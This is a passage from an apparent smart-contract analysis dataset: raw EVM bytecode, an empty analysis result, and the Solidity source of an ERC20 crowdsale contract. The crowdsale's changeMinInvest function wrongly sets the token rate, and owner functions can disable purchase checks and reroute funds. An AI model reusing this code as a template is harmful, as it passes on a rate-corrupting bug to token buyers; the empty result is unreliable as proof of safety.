_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c80634c47e71d116100b857806398fd371f1161007c57806398fd371f146106df578063a457c2d714610737578063a9059cbb1461079d578063b0e65d0714610803578063dd62ed3e14610869578063fa0fca84146108e157610142565b80634c47e71d14610506578063570ca7351461055457806370a082311461059e57806379cc6790146105f657806395d89b411461065c57610142565b806323b872dd1161010a57806323b872dd14610306578063313ce5671461038c57806339509351146103b057806340c10f191461041657806342966c681461046457806347ee0394146104aa57610142565b806301bf66481461014757806306394c9b146101a357806306fdde03146101ff578063095ea7b31461028257806318160ddd146102e8575b600080fd5b6101896004803603602081101561015d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061093d565b604051808215151515815260200191505060405180910390f35b6101e5600480360360208110156101b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a93565b604051808215151515815260200191505060405180910390f35b610207610b8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024757808201518184015260208101905061022c565b50505050905090810190601f1680156102745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ce6004803603604081101561029857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c2d565b604051808215151515815260200191505060405180910390f35b6102f0610d58565b6040518082815260200191505060405180910390f35b6103726004803603606081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d62565b604051808215151515815260200191505060405180910390f35b610394610ef1565b604051808260ff1660ff16815260200191505060405180910390f35b6103fc600480360360408110156103c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f04565b604051808215151515815260200191505060405180910390f35b6104626004803603604081101561042c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611139565b005b6104906004803603602081101561047a57600080fd5b81019080803590602001909291905050506111f8565b604051808215151515815260200191505060405180910390f35b6104ec600480360360208110156104c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120d565b604051808215151515815260200191505060405180910390f35b6105526004803603604081101561051c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611363565b005b61055c6114c8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e0600480360360208110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ee565b6040518082815260200191505060405180910390f35b6106426004803603604081101561060c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611536565b604051808215151515815260200191505060405180910390f35b61066461154c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a4578082015181840152602081019050610689565b50505050905090810190601f1680156106d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610721600480360360208110156106f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ea565b6040518082815260200191505060405180910390f35b6107836004803603604081101561074d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611602565b604051808215151515815260200191505060405180910390f35b6107e9600480360360408110156107b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611837565b604051808215151515815260200191505060405180910390f35b61084f6004803603604081101561081957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061193b565b604051808215151515815260200191505060405180910390f35b6108cb6004803603604081101561087f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a6f565b6040518082815260200191505060405180910390f35b610923600480360360208110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611af6565b604051808215151515815260200191505060405180910390f35b60008073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ef57600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109ee57600080fd5b5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f7fd26be6fc92aff63f1f4409b2b2ddeb272a888031d7f55ec830485ec619418660405160405180910390a260019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4557600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b4457600080fd5b5b81600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c255780601f10610bfa57610100808354040283529160200191610c25565b820191906000526020600020905b815481529060010190602001808311610c0857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6857600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b600082600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dbb57600080fd5b42600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e0657600080fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115610e5157600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115610eda57600080fd5b610ee5858585611b16565b60019150509392505050565b600760009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f3f57600080fd5b610fce82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ea57600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111e957600080fd5b5b6111f48282611dd4565b5050565b60006112043383611f26565b60019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112bf57600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112be57600080fd5b5b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f2e00aa132a0165955a7de5481083fd2933e22d472949147a9c3c69eec84c170060405160405180910390a260019050919050565b600073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461141457600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461141357600080fd5b5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114674283611db590919063ffffffff16565b11156114c4576114804282611db590919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006115428383612089565b6001905092915050565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115e25780601f106115b7576101008083540402835291602001916115e2565b820191906000526020600020905b8154815290600101906020018083116115c557829003601f168201915b505050505081565b60036020528060005260406000206000915090505481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163d57600080fd5b6116cc82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661189057600080fd5b42600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118db57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561192657600080fd5b611930848461224f565b600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ed57600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ec57600080fd5b5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611a3857600080fd5b611a6583600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b16565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60026020528060005260406000206000915054906101000a900460ff1681565b611b67816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bfa816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ccb81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015611dca57600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e0e57600080fd5b611e2381600454611db590919063ffffffff16565b600481905550611e7a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611f7157600080fd5b611f868160045461222f90919063ffffffff16565b600481905550611fdd816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561211257600080fd5b6121a181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222b8282611f26565b5050565b60008282111561223e57600080fd5b600082840390508091505092915050565b6122a0816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612333816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fea165627a7a723058202fd35a674dc1bbbd4ed4055e56a04d7b6ca4abb392c9cbd620131ae031aab5f90029 | {"success": true, "error": null, "results": {}} | 10,121 |
0x38a0d00ddb1269795c0055691d8b88eb4dfa80dd | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
*/
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AddressesFilterFeature is Ownable {}
contract ERC20Basic {}
contract BasicToken is ERC20Basic {}
contract StandardToken is ERC20, BasicToken {}
contract MintableToken is AddressesFilterFeature, StandardToken {}
contract Token is MintableToken {
function mint(address, uint256) public returns (bool);
}
/**
* @title CrowdsaleWPTByRounds
* @dev This is an example of a fully fledged crowdsale.
* The way to add new features to a base crowdsale is by multiple inheritance.
* In this example we are providing following extensions:
* CappedCrowdsale - sets a max boundary for raised funds
* RefundableCrowdsale - set a min goal to be reached and returns funds if it's not met
*
* After adding multiple features it's good practice to run integration tests
* to ensure that subcontracts works together as intended.
*/
// XXX There doesn't seem to be a way to split this line that keeps solium
// happy. See:
// https://github.com/duaraghav8/Solium/issues/205
// --elopio - 2018-05-10
// solium-disable-next-line max-len
contract CrowdsaleWPTByRounds is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// Address of tokens minter
Token public minterContract;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
uint256 public rate;
// Amount of tokens raised
uint256 public tokensRaised;
// Cap for current round
uint256 public cap;
// Time ranges for current round
uint256 public openingTime;
uint256 public closingTime;
//Minimal value of investment
uint public minInvestmentValue;
//Flags to on/off checks for buy Token
bool public checksOn;
/**
* @dev Allows the owner to set the minter contract.
* @param _minterAddr the minter address
*/
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor () public {
rate = 400;
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
cap = 400000000000000000000000;
openingTime = 1534558186;
closingTime = 1535320800;
minInvestmentValue = 0.02 ether;
checksOn = true;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return tokensRaised >= cap;
}
/**
* @dev Correction of current rate.
*/
function changeRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
/**
* @dev Close current round.
*/
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
/**
* @dev Set token address.
*/
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
/**
* @dev Set address od deposit wallet.
*/
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
/**
* @dev Change minimal amount of investment.
*/
function changeMinInvest(uint256 newMinValue) public onlyOwner {
rate = newMinValue;
}
/**
* @dev Flag to sell WPT without checks.
*/
function setChecksOn(bool _checksOn) public onlyOwner {
checksOn = _checksOn;
}
/**
* @dev Set cap for current round.
*/
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
/**
* @dev Start new crowdsale round if already not started.
*/
function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
rate = _rate;
wallet = _wallet;
token = _token;
cap = _cap;
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open.
* @return Whether crowdsale period has opened
*/
function hasOpened() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return (openingTime < block.timestamp && block.timestamp < closingTime);
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () payable external {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
if (checksOn) {
_preValidatePurchase(_beneficiary, weiAmount);
}
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
tokensRaised = tokensRaised.add(tokens);
minterContract.mint(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
} | 0x6080604052600436106101535763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663144fa6d7811461015e5780631515bc2b1461017f5780632c4e722e146101a8578063355274ea146101cf57806347786d37146101e45780634b6753bc146101fc5780634f93594514610211578063521eb273146102265780635bd7ebc5146102575780636ea6b71b1461026f578063715018a61461028457806374e7493b1461025757806385d37e97146102995780638b6d6f1d146102bf5780638da5cb5b146102d457806392f00233146102e9578063b7a8807c146102fe578063be8eef8e14610313578063d3e837cb14610328578063deaa59df14610342578063e278fe6f14610363578063ec8ac4d814610378578063f2fde38b1461038c578063fc0c546a146103ad578063fca3b5aa146103c2578063fd9304cd146103e3575b61015c336103f8565b005b34801561016a57600080fd5b5061015c600160a060020a0360043516610524565b34801561018b57600080fd5b5061019461056a565b604080519115158252519081900360200190f35b3480156101b457600080fd5b506101bd610572565b60408051918252519081900360200190f35b3480156101db57600080fd5b506101bd610578565b3480156101f057600080fd5b5061015c60043561057e565b34801561020857600080fd5b506101bd61059a565b34801561021d57600080fd5b506101946105a0565b34801561023257600080fd5b5061023b6105ab565b60408051600160a060020a039092168252519081900360200190f35b34801561026357600080fd5b5061015c6004356105ba565b34801561027b57600080fd5b506101bd6105d6565b34801561029057600080fd5b5061015c6105dc565b61015c600435600160a060020a036024358116906044351660643560843560a435610648565b3480156102cb57600080fd5b506101946106c2565b3480156102e057600080fd5b5061023b6106cb565b3480156102f557600080fd5b5061023b6106da565b34801561030a57600080fd5b506101bd6106e9565b34801561031f57600080fd5b506101946106ef565b34801561033457600080fd5b5061015c6004351515610708565b34801561034e57600080fd5b5061015c600160a060020a0360043516610732565b34801561036f57600080fd5b5061015c610778565b61015c600160a060020a03600435166103f8565b34801561039857600080fd5b5061015c600160a060020a0360043516610798565b3480156103b957600080fd5b5061023b6107bb565b3480156103ce57600080fd5b5061015c600160a060020a03600435166107ca565b3480156103ef57600080fd5b506101bd610810565b600a54349060009060ff1615610412576104128383610816565b61041b82610892565b600554909150610431908263ffffffff6108af16565b600555600354604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015260248201859052915191909216916340c10f199160448083019260209291908290030181600087803b1580156104a357600080fd5b505af11580156104b7573d6000803e3d6000fd5b505050506040513d60208110156104cd57600080fd5b505060408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a361051f6108cc565b505050565b600054600160a060020a0316331461053b57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600854421190565b60045481565b60065481565b600054600160a060020a0316331461059557600080fd5b600655565b60085481565b600654600554101590565b600254600160a060020a031681565b600054600160a060020a031633146105d157600080fd5b600455565b60055481565b600054600160a060020a031633146105f357600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a0316331461065f57600080fd5b6106676106ef565b1561067157600080fd5b60049590955560028054600160a060020a0395861673ffffffffffffffffffffffffffffffffffffffff19918216179091556001805494909516931692909217909255600691909155600755600855565b600a5460ff1681565b600054600160a060020a031681565b600354600160a060020a031681565b60075481565b600042600754108015610703575060085442105b905090565b600054600160a060020a0316331461071f57600080fd5b600a805460ff1916911515919091179055565b600054600160a060020a0316331461074957600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461078f57600080fd5b60014201600855565b600054600160a060020a031633146107af57600080fd5b6107b881610905565b50565b600154600160a060020a031681565b600054600160a060020a031633146107e157600080fd5b6003805473fffffffffff